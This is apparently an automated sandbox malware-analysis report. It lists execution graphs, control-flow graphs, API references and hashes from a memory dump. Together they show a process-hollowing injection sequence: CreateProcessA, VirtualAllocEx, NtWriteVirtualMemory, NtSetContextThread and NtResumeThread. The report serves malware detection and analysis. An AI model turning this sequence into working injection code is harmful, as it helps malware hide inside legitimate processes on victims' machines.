                                                                                                              execution_graph 8311 2edc2e 8314 2edc52 8311->8314 8312 2edc59 8313 2edec7 8317 2edf2b NtResumeThread 8313->8317 8318 2ede8e 8313->8318 8314->8312 8314->8313 8326 2e867c 8314->8326 8320 2edf59 8317->8320 8321 2edd82 8321->8313 8322 2ede3c 8321->8322 8325 2e8688 NtWriteVirtualMemory 8321->8325 8322->8313 8323 2ede7a 8322->8323 8324 2e8688 NtWriteVirtualMemory 8323->8324 8324->8318 8325->8321 8327 2edf90 VirtualAllocEx 8326->8327 8329 2edd3f 8327->8329 8329->8313 8330 2e8688 8329->8330 8331 2ee048 NtWriteVirtualMemory 8330->8331 8333 2ee0c2 8331->8333 8333->8321 8417 2ee0fc 8418 2ee143 NtSetContextThread 8417->8418 8419 2ee164 8418->8419 8420 2edf8c 8421 2edfd3 VirtualAllocEx 8420->8421 8422 2ee00a 8421->8422 8364 2eb82d 8366 2ebc0a 8364->8366 8365 2ebd01 8366->8365 8367 2ebf6f CreateProcessA 8366->8367 8369 2e8574 CreateProcessA 8366->8369 8376 2ec190 8367->8376 8370 2ebd9b 8369->8370 8370->8367 8371 2ebd9f 8370->8371 8390 2e8580 8370->8390 8378 2ebee4 8378->8367 8402 2e85a4 8378->8402 8381 2ebe2a 8381->8367 8381->8378 8384 2e8598 NtWriteVirtualMemory 8381->8384 8382 2ebf22 8383 2e8598 NtWriteVirtualMemory 8382->8383 8385 2ebf36 8383->8385 8384->8381 8406 2e85b0 8385->8406 8391 2edee8 NtResumeThread 8390->8391 8393 2ebdcc 8391->8393 8394 2e858c 8393->8394 8395 2edf90 VirtualAllocEx 8394->8395 8397 2ebde7 8395->8397 8397->8367 8398 2e8598 8397->8398 8399 2ee048 NtWriteVirtualMemory 8398->8399 8401 2ee0c2 8399->8401 8401->8381 8403 2ee100 NtSetContextThread 8402->8403 8405 2ebefc 8403->8405 8405->8367 8405->8382 8407 2ee100 NtSetContextThread 8406->8407 8409 2ebf53 8407->8409 8410 2e85bc 8409->8410 8411 2edee8 NtResumeThread 8410->8411 8413 2ebf60 8411->8413 8334 2ebc10 8337 2ebc3e 8334->8337 8335 2ebd01 8336 2ebf6f CreateProcessA 8346 2ec190 8336->8346 8337->8335 8337->8336 8360 2e8574 8337->8360 8340 2ebd9b 8340->8336 8341 2ebd9f 8340->8341 8342 2e8580 NtResumeThread 8340->8342 8343 2ebdcc 8342->8343 8344 2e858c VirtualAllocEx 8343->8344 8345 2ebde7 8344->8345 8345->8336 8347 2e8598 NtWriteVirtualMemory 8345->8347 8351 2ebe2a 8347->8351 8348 2ebee4 8348->8336 8349 2e85a4 NtSetContextThread 8348->8349 8350 2ebefc 8349->8350 8350->8336 8352 2ebf22 8350->8352 8351->8336 8351->8348 8354 2e8598 NtWriteVirtualMemory 8351->8354 8353 2e8598 NtWriteVirtualMemory 8352->8353 8355 2ebf36 8353->8355 8354->8351 8356 2e85b0 NtSetContextThread 8355->8356 8357 2ebf53 8356->8357 8358 2e85bc NtResumeThread 8357->8358 8359 2ebf60 8358->8359 8362 2ebf90 CreateProcessA 8360->8362 8363 2ec190 8362->8363 8414 2ee040 8415 2ee08b NtWriteVirtualMemory 8414->8415 8416 2ee0c2 8415->8416

                                                                                                              Executed Functions

                                                                                                              Function 002EBC10 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 493processCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 0 2ebc10-2ebc8e 6 2ebf74-2ebffa 0->6 7 2ebc94-2ebca8 0->7 13 2ebffc-2ec006 6->13 14 2ec033-2ec053 6->14 7->6 8 2ebcae-2ebcbe 7->8 8->6 9 2ebcc4-2ebcd3 8->9 9->6 11 2ebcd9-2ebcff 9->11 17 2ebd0d-2ebd32 11->17 18 2ebd01-2ebd0a 11->18 13->14 16 2ec008-2ec00a 13->16 25 2ec08c-2ec0ba 14->25 26 2ec055-2ec05f 14->26 19 2ec00c-2ec016 16->19 20 2ec02d-2ec030 16->20 28 2ebd34-2ebd3d 17->28 29 2ebd40-2ebd44 17->29 22 2ec01a-2ec029 19->22 23 2ec018 19->23 20->14 22->22 27 2ec02b 22->27 23->22 36 2ec0bc-2ec0c6 25->36 37 2ec0f3-2ec112 25->37 26->25 30 2ec061-2ec063 26->30 27->20 32 2ebd46-2ebd53 29->32 33 2ebd55 29->33 34 2ec086-2ec089 30->34 35 2ec065-2ec06f 30->35 38 2ebd5a-2ebd5c 32->38 33->38 34->25 39 2ec073-2ec082 35->39 40 2ec071 35->40 36->37 42 2ec0c8-2ec0ca 36->42 48 2ec114-2ec120 37->48 49 2ec122-2ec12f 37->49 43 2ebd5e-2ebd6f 38->43 44 2ebd72-2ebd9d call 2e8574 38->44 39->39 41 2ec084 39->41 40->39 41->34 45 2ec0cc-2ec0d6 42->45 46 2ec0ed-2ec0f0 42->46 43->44 61 2ebd9f-2ebda8 44->61 62 2ebdab-2ebdbb 44->62 52 2ec0da-2ec0e9 45->52 53 2ec0d8 45->53 46->37 48->49 54 2ec13f-2ec18e CreateProcessA 49->54 55 2ec131-2ec13d 49->55 52->52 57 2ec0eb 52->57 53->52 58 2ec197-2ec1d7 54->58 59 2ec190-2ec196 54->59 55->54 57->46 69 2ec1d9-2ec1dd 58->69 70 2ec1e7-2ec1eb 58->70 59->58 62->6 64 2ebdc1-2ebde9 call 2e8580 call 2e858c 62->64 80 2ebdfd-2ebe04 64->80 81 2ebdeb-2ebdf4 64->81 69->70 72 2ec1df 69->72 73 2ec1ed-2ec1f1 70->73 74 2ec1fb-2ec1ff 70->74 72->70 73->74 75 2ec1f3 73->75 76 2ec20f 74->76 77 2ec201-2ec205 74->77 75->74 83 2ec210 76->83 77->76 79 2ec207 77->79 79->76 80->6 82 2ebe0a-2ebe3a call 2e8598 80->82 81->80 86 2ebee4-2ebeeb 82->86 87 2ebe40-2ebe71 82->87 83->83 86->6 88 2ebef1-2ebf1a call 2e85a4 86->88 87->6 92 2ebe77-2ebe9c 87->92 93 2ebf1c-2ebf20 88->93 94 2ebf24-2ebf28 88->94 95 2ebe9e-2ebea2 92->95 96 2ebeaa-2ebeae 92->96 97 2ebf6f 93->97 98 2ebf22 93->98 94->97 99 2ebf2a-2ebf5b call 2e8598 call 2e85b0 call 2e85bc 94->99 95->97 100 2ebea8 95->100 96->97 101 2ebeb4-2ebebf call 2e8598 96->101 97->6 98->99 109 2ebf60-2ebf6c 99->109 100->101 105 2ebec4-2ebede 101->105 105->86 105->87
                                                                                                              APIs
                                                                                                              • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000), ref: 002EC17E
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: CreateProcess
                                                                                                              • String ID: MZ
                                                                                                              • API String ID: 963392458-2410715997
                                                                                                              • Opcode ID: 6fab8dd1f19c21c52da85578a1885874dae7416bed92ba84b422c68a86099623
                                                                                                              • Instruction ID: efd8180594bfccd9e858ba31e803fb5c482fba2540e509ffee51550a7235f55b
                                                                                                              • Opcode Fuzzy Hash: 6fab8dd1f19c21c52da85578a1885874dae7416bed92ba84b422c68a86099623
                                                                                                              • Instruction Fuzzy Hash: 74124871E502499FDB14CFA9C885B9EBBF1FF48310F648129E818AB395D7749856CF80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EDC2E Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 282COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 110 2edc2e-2edc57 112 2edc59-2edc62 110->112 113 2edc65-2edc8a 110->113 115 2edc8c-2edc95 113->115 116 2edc98-2edc9c 113->116 117 2edc9e-2edcab 116->117 118 2edcad 116->118 119 2edcb2-2edcb4 117->119 118->119 120 2edcca-2edcf5 call 2e8664 119->120 121 2edcb6-2edcc7 119->121 126 2edcf7-2edd00 120->126 127 2edd03-2edd13 120->127 121->120 128 2edecc-2edee0 127->128 129 2edd19-2edd41 call 2e8670 call 2e867c 127->129 134 2edea4-2edeb3 call 2e86a0 call 2e86ac 128->134 135 2edee2-2edf57 NtResumeThread 128->135 140 2edd55-2edd5c 129->140 141 2edd43-2edd4c 129->141 146 2edeb8-2edec4 134->146 142 2edf59-2edf5f 135->142 143 2edf60-2edf7d 135->143 140->128 145 2edd62-2edd92 call 2e8688 140->145 141->140 142->143 151 2ede3c-2ede43 145->151 152 2edd98-2eddc9 145->152 151->128 153 2ede49-2ede72 call 2e8694 151->153 152->128 156 2eddcf-2eddf4 152->156 160 2ede7c-2ede80 153->160 161 2ede74-2ede78 153->161 158 2eddf6-2eddfa 156->158 159 2ede02-2ede06 156->159 162 2edec7 158->162 164 2ede00 158->164 159->162 165 2ede0c-2ede17 call 2e8688 159->165 160->162 163 2ede82-2ede89 call 2e8688 160->163 161->162 166 2ede7a 161->166 162->128 169 2ede8e-2edea3 163->169 164->165 170 2ede1c-2ede36 165->170 166->163 169->134 170->151 170->152
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: MZ
                                                                                                              • API String ID: 0-2410715997
                                                                                                              • Opcode ID: b24e29e1f0aedf078b835d2311c483f62b84c3bce1da8ddb86c0d85715bb22c4
                                                                                                              • Instruction ID: 4aa2a4befe447763ef7a91bd96c8f297469ff8b10ec85bdf30ab8071786a2711
                                                                                                              • Opcode Fuzzy Hash: b24e29e1f0aedf078b835d2311c483f62b84c3bce1da8ddb86c0d85715bb22c4
                                                                                                              • Instruction Fuzzy Hash: 6CB14635A502489FCB00CF99D884BDDFBB1FF88310F688166E914AB2A5C771AD55CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EE040 Relevance: 1.6, APIs: 1, Instructions: 55nativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 1991 2ee040-2ee0c0 NtWriteVirtualMemory 1993 2ee0c9-2ee0e6 1991->1993 1994 2ee0c2-2ee0c8 1991->1994 1994->1993
                                                                                                              APIs
                                                                                                              • NtWriteVirtualMemory.NTDLL(00000000,?,?,?,00000000), ref: 002EE0B3
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryVirtualWrite
                                                                                                              • String ID:
                                                                                                              • API String ID: 3527976591-0
                                                                                                              • Opcode ID: 910a80892d902dd72b94bd66f87e0ab95b8ce0e71996edab53a74ef39ade455f
                                                                                                              • Instruction ID: ffa6f512953c2c8f7d11823a605ed75426a0191742f75d8369d2bf9eaabee3f2
                                                                                                              • Opcode Fuzzy Hash: 910a80892d902dd72b94bd66f87e0ab95b8ce0e71996edab53a74ef39ade455f
                                                                                                              • Instruction Fuzzy Hash: 3E1144B59042888FCB10CF9AD844BDEBFF0FB88324F11845AE518A7250C3759944CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E8598 Relevance: 1.6, APIs: 1, Instructions: 54nativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 2004 2e8598-2ee0c0 NtWriteVirtualMemory 2007 2ee0c9-2ee0e6 2004->2007 2008 2ee0c2-2ee0c8 2004->2008 2008->2007
                                                                                                              APIs
                                                                                                              • NtWriteVirtualMemory.NTDLL(00000000,?,?,?,00000000), ref: 002EE0B3
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryVirtualWrite
                                                                                                              • String ID:
                                                                                                              • API String ID: 3527976591-0
                                                                                                              • Opcode ID: 9ff634cba8cc11cb6cca07aecc6c8fef65a7e057c8d8192ea0e69d29c6f54e1e
                                                                                                              • Instruction ID: 5b4fa14f433c794cdfb6a713f3274a912127ffbe697def873438b262278f12f8
                                                                                                              • Opcode Fuzzy Hash: 9ff634cba8cc11cb6cca07aecc6c8fef65a7e057c8d8192ea0e69d29c6f54e1e
                                                                                                              • Instruction Fuzzy Hash: 081123B19046489FCB10CF9AC844BDEBFF4FB88314F508819E518B7250D7B5A954CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E8688 Relevance: 1.6, APIs: 1, Instructions: 54nativeCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 2018 2e8688-2ee0c0 NtWriteVirtualMemory 2021 2ee0c9-2ee0e6 2018->2021 2022 2ee0c2-2ee0c8 2018->2022 2022->2021
                                                                                                              APIs
                                                                                                              • NtWriteVirtualMemory.NTDLL(00000000,?,?,?,00000000), ref: 002EE0B3
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: MemoryVirtualWrite
                                                                                                              • String ID:
                                                                                                              • API String ID: 3527976591-0
                                                                                                              • Opcode ID: cd59c590a4c99a9a760f126c044eaccf58aab3a0d866f48e3114c4acf3765771
                                                                                                              • Instruction ID: cd30ec5520feb9df65affb16613f9b9e8afbf27553ee450b7da8541ba8021bc9
                                                                                                              • Opcode Fuzzy Hash: cd59c590a4c99a9a760f126c044eaccf58aab3a0d866f48e3114c4acf3765771
                                                                                                              • Instruction Fuzzy Hash: 2E1112B19046489FCB10CF9AC844BDEBBF4FB88314F508819E518A7250D7B5A954CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E85A4 Relevance: 1.6, APIs: 1, Instructions: 51nativethreadCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 2038 2e85a4-2ee16f NtSetContextThread 2042 2ee178-2ee195 2038->2042 2043 2ee171-2ee177 2038->2043 2043->2042
                                                                                                              APIs
                                                                                                              • NtSetContextThread.NTDLL(?,?), ref: 002EE162
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ContextThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 1591575202-0
                                                                                                              • Opcode ID: 6c668b47a3539c9b70bc49fa584392a50342c19bcc847ef3ab534f0be2fa19c7
                                                                                                              • Instruction ID: 44fbf52c0cf4f10420fabfa52188e5596cea93f076bfe3aff14639a2e9689023
                                                                                                              • Opcode Fuzzy Hash: 6c668b47a3539c9b70bc49fa584392a50342c19bcc847ef3ab534f0be2fa19c7
                                                                                                              • Instruction Fuzzy Hash: 2E1158B19143488FCB10CF9AC844B9EFBF4FB49314F60882AD518B7310D7B4A940CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E85BC Relevance: 1.6, APIs: 1, Instructions: 51nativethreadCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • NtResumeThread.NTDLL(00000000,?), ref: 002EDF4A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ResumeThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 947044025-0
                                                                                                              • Opcode ID: 66b8ef50809c1486f1b36dfcda029eb3cfbbe6b50348d26f778747b3fd140078
                                                                                                              • Instruction ID: 035a2aa3858adce5ff1ee2005ed537d555e6b66935994dd9357ebc529dcef45e
                                                                                                              • Opcode Fuzzy Hash: 66b8ef50809c1486f1b36dfcda029eb3cfbbe6b50348d26f778747b3fd140078
                                                                                                              • Instruction Fuzzy Hash: F31158B19142488FCB10CF9AC444B9EFBF4FB88314F20845AD518B7310D7B4A940CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E85B0 Relevance: 1.6, APIs: 1, Instructions: 51nativethreadCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • NtSetContextThread.NTDLL(?,?), ref: 002EE162
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ContextThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 1591575202-0
                                                                                                              • Opcode ID: 55a3e44dfd4cdab05c54a3ab8ee4d9a9826cd0b854de18fd857e7bce0fb33025
                                                                                                              • Instruction ID: 535d16a02c6ed7dbc8fc1e94ac6d96cde6311d0398b5f0b5458b7f38a1b9ad20
                                                                                                              • Opcode Fuzzy Hash: 55a3e44dfd4cdab05c54a3ab8ee4d9a9826cd0b854de18fd857e7bce0fb33025
                                                                                                              • Instruction Fuzzy Hash: 801146B19143488FCB10CF9AC844B9EFBF4FB89314F20881AD518B7350D7B4A940CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E8580 Relevance: 1.6, APIs: 1, Instructions: 51nativethreadCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 2031 2e8580-2edf57 NtResumeThread 2034 2edf59-2edf5f 2031->2034 2035 2edf60-2edf7d 2031->2035 2034->2035
                                                                                                              APIs
                                                                                                              • NtResumeThread.NTDLL(00000000,?), ref: 002EDF4A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ResumeThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 947044025-0
                                                                                                              • Opcode ID: ff85a478aaf44ccf2f8183684708a47efe0eba136fd0b609aa127a5bac9da233
                                                                                                              • Instruction ID: 5466823198416c8eb2ec58d56f4c14ac23fbacebd3826de01e93daccbc3528d8
                                                                                                              • Opcode Fuzzy Hash: ff85a478aaf44ccf2f8183684708a47efe0eba136fd0b609aa127a5bac9da233
                                                                                                              • Instruction Fuzzy Hash: 701158B19142488FCB10CF9AC444B9EFBF4FB88314F20845AD518B7310D7B4A940CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EE0FC Relevance: 1.6, APIs: 1, Instructions: 50nativethreadCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • NtSetContextThread.NTDLL(?,?), ref: 002EE162
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID: ContextThread
                                                                                                              • String ID:
                                                                                                              • API String ID: 1591575202-0
                                                                                                              • Opcode ID: dd579e6e9c86c8a8abc57aca5512dbe7cc0cf7a96297a3f3723c8e3e89ff8676
                                                                                                              • Instruction ID: 5a3053b49362a1dd843bd380eea2fef078f24ee3ebd013ab095360ae88943796
                                                                                                              • Opcode Fuzzy Hash: dd579e6e9c86c8a8abc57aca5512dbe7cc0cf7a96297a3f3723c8e3e89ff8676
                                                                                                              • Instruction Fuzzy Hash: 3A1116B19442498FDB10CF9AD444BDEFBF4EB89314F24855AD418B7250C774A945CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EC24F Relevance: .9, Instructions: 927COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 393001585f8b4ab379202fe837d69f55b5c1d86b4deac9ef776309bd850d71b5
                                                                                                              • Instruction ID: e0212bf4e83ea19600768eaf51aa2762204896da233973f0c12b24486a347927
                                                                                                              • Opcode Fuzzy Hash: 393001585f8b4ab379202fe837d69f55b5c1d86b4deac9ef776309bd850d71b5
                                                                                                              • Instruction Fuzzy Hash: D9A20174A412688FDB65EF24CA88BEDB7B6AF49304F1085E9D80967360CB355ED2CF41
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EC9AE Relevance: .5, Instructions: 545COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1843baa8939afd5e21177f8807f61cef5b2373a2f3fa5a5c1428b3cdddd8a05e
                                                                                                              • Instruction ID: e2e492acf2985132da60e76c495fb4b8f0b9997323ca0c90ed33317891953d04
                                                                                                              • Opcode Fuzzy Hash: 1843baa8939afd5e21177f8807f61cef5b2373a2f3fa5a5c1428b3cdddd8a05e
                                                                                                              • Instruction Fuzzy Hash: 4642FF74A412688FDB24EF64CA88BEDB7B6AF49304F1085E9D80DA7351CB355E92CF41
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002ECA98 Relevance: .5, Instructions: 545COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3b7ac8171eb060dc31badcaec8df4417ef06f4c59263cb2878f37c5b11bbb023
                                                                                                              • Instruction ID: 7aa09d61af64c5d3b17b37d1b765209481480c1fa957a8c457d4449831cadde0
                                                                                                              • Opcode Fuzzy Hash: 3b7ac8171eb060dc31badcaec8df4417ef06f4c59263cb2878f37c5b11bbb023
                                                                                                              • Instruction Fuzzy Hash: ED420F74A412688FDB24EF64CA88BEDB7B6AF49304F1085E9D80DA7351CB355E92CF41
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002ECD5D Relevance: .5, Instructions: 541COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 4e7849893bc27fb59ff524767f4a261f8e29e86227be3cad0a22b7d4c97b156f
                                                                                                              • Instruction ID: 20516466799e80988d7913a626c759150bf8b9a12663f1d2ff9262915c18f94d
                                                                                                              • Opcode Fuzzy Hash: 4e7849893bc27fb59ff524767f4a261f8e29e86227be3cad0a22b7d4c97b156f
                                                                                                              • Instruction Fuzzy Hash: 02420F74A412688FDB24EF64CA88BEDB7B6AF49304F1085E9D809A7351CB355E92CF41
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002ED081 Relevance: .4, Instructions: 370COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: b8235a2eea62422e50540783fc2006ab2c35d8c2e2b0dc5daa308870b6a4a4f8
                                                                                                              • Instruction ID: 14867065b6f0587afba5dfd35f80211c3355368a56548dd7c06c65583d238b7a
                                                                                                              • Opcode Fuzzy Hash: b8235a2eea62422e50540783fc2006ab2c35d8c2e2b0dc5daa308870b6a4a4f8
                                                                                                              • Instruction Fuzzy Hash: 2902F074A452689FCB64EF24CA88BEDB7B6AF49304F005AE9D90963350CB355ED2CF41
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002EE283 Relevance: .1, Instructions: 107COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000005.00000002.699428197.00000000002E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 002E0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_5_2_2e0000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e447304706ece31462a5803236c204f6a62c82863c04a0396907eee0ba8b8e54
                                                                                                              • Instruction ID: de115be65ba907efaa523028ec48a2c7b55a9f42f4df3d2fd6b8a115db4a30af
                                                                                                              • Opcode Fuzzy Hash: e447304706ece31462a5803236c204f6a62c82863c04a0396907eee0ba8b8e54
                                                                                                              • Instruction Fuzzy Hash: 3741FF30D012A8CFDB24DFA5C858BEDBBB2AF89304F1085AAD409A7290DB345A95CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 002E8574 Relevance: 1.7, APIs: 1, Instructions: 209processCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
